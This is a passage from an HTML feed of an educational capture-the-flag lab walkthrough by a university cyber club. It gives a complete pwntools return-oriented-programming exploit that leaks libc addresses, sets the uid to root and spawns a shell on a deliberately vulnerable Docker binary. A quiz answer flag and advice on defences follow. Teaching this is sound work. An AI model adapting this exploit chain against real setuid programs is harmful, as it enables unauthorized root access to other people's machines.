rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;gets&amp;#39;]])
rop.call(elf.symbols[&amp;#34;vuln&amp;#34;])
# This is the offset that we found earlier for how many A&amp;#39;s we are allowed to put in the buffer.
offset = 56
# This will consume the line that says, &amp;#34;Hello, I would like to return something.&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will consume the line that says, &amp;#34;What would you like to return today?&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will put the payload into an array.
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# This will join the payload together, allowing for direct bytes to be sent into the program.
payload = b&amp;#34;&amp;#34;.join(payload)
# This will send out payload
p.sendline(payload)
# We are now going to receive two lines of data–the first will be the printed output of the puts GOT entry we are receiving the raw bytes here, then we do the same thing for the GOT entry.
puts = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
gets = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
# Then, we print the output of the leak onto the terminal to use in the next phase of the attack.
log.info(f&amp;#34;puts found at {hex(puts)} &amp;#34;)
log.info(f&amp;#34;gets found at {hex(gets)} &amp;#34;)
# Load the Libc shared object as our ELF file we want to work on
libc = ELF(&amp;#34;libc6_3.39-0ubuntu8.6_amd64.so&amp;#34;)
# Find the base address of libc in memory by subtracting what the GOT has puts at and where puts is being show in the shared object file
libc.address = puts - libc.symbols[&amp;#34;puts&amp;#34;]
# Print out this base address
log.info(f&amp;#34;libc base address {hex(libc.address)} &amp;#34;)
# Get the ROP gadgets out of the Libc ELF
rop = ROP(libc)
# Send this return. This is re-aligning the stack, a more advanced concept that is important as you progress through binary exploitation. I encourage you to look further into the importance of stack alignment but I will not be covering this concept at this time.
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# The SetUID command set to 0 root&amp;#39;s userID
rop.setuid(0)
# Aligning the stack again
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# Setting the gid to 0 which is root&amp;#39;s groupID
rop.setgid(0)
# We will attempt to call the system function with the argument of /bin/sh it would look like this system(&amp;#34;/bin/sh&amp;#34;);
rop.call(libc.symbols[&amp;#34;system&amp;#34;], [next(libc.search(b&amp;#34;/bin/sh\x00&amp;#34;))])
# Exit out of the program dropping us into the shell
rop.call(libc.symbols[&amp;#34;exit&amp;#34;])
# Build a payload as an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# Turn the array into a string of bytes that can be sent to the program
payload = b&amp;#34;&amp;#34;.join(payload)
# Send the payload to the program
p.sendline(payload)
# Make our session interactive
p.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="delivery"&gt;Delivery&lt;/h1&gt;
&lt;p&gt;You now have a complete exploit. You can run the exploit now using:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Upon successful exploitation, you should be seeing:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/success.png" alt="success"&gt;&lt;/p&gt;
&lt;p&gt;Usually, people will run a command like &lt;code&gt;id&lt;/code&gt; to see that they are root, which is what I ran. Now, if we change directories back to root&amp;rsquo;s home directory and cat flag.txt, we can see the flag for this lab.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cd /root/
cat flag.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, we can simply type exit to break the program, exit to get out of the root terminal, and type exit again to leave the docker container.&lt;/p&gt;
&lt;p&gt;To shut down and remove this container simply run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker stop rop-lab-container
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Followed by:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker rm rop-lab-container
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And finally:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker rmi rop-lab
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To remove the rop-lab image from your machine.&lt;/p&gt;
&lt;h2 id="questions"&gt;Questions&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; What is the root flag on the docker container?&lt;/p&gt;
&lt;h2 id="answers"&gt;Answers&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; WSU-PROF-3920&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this has been an educational experience for everyone who has completed this challenge. You have successfully found a buffer overflow vulnerability, and even in the face of a few modern defence mechanisms, you found a way to use return oriented programming, along with the vulnerable application, to perform a privilege escalation attack on a machine. While this lab might not seem like a real world example, it truly can happen. Misconfigurations like this do occur, and applications are being found to be vulnerable to buffer overflows all the time. The protection against an attack like this is modern protections like ASLR or PIE. But good coding practices or memory safe code, such as Rust, should be where you start. If you would like to learn more about these topics, look up videos or articles on Return Oriented Programming or Binary Exploitation. &lt;a href="https://www.youtube.com/@_JohnHammond"&gt;John Hammond&lt;/a&gt; and &lt;a href="https://www.youtube.com/LiveOverflow"&gt;Live Overflow&lt;/a&gt; also have some very good videos on this topic and many other cyber security related topics. Thank you again for participating. Let me know what you would like to see next or if you have any questions!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Until Next Time!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Professor&lt;/strong&gt;&lt;/p&gt;</content></item></channel></rss>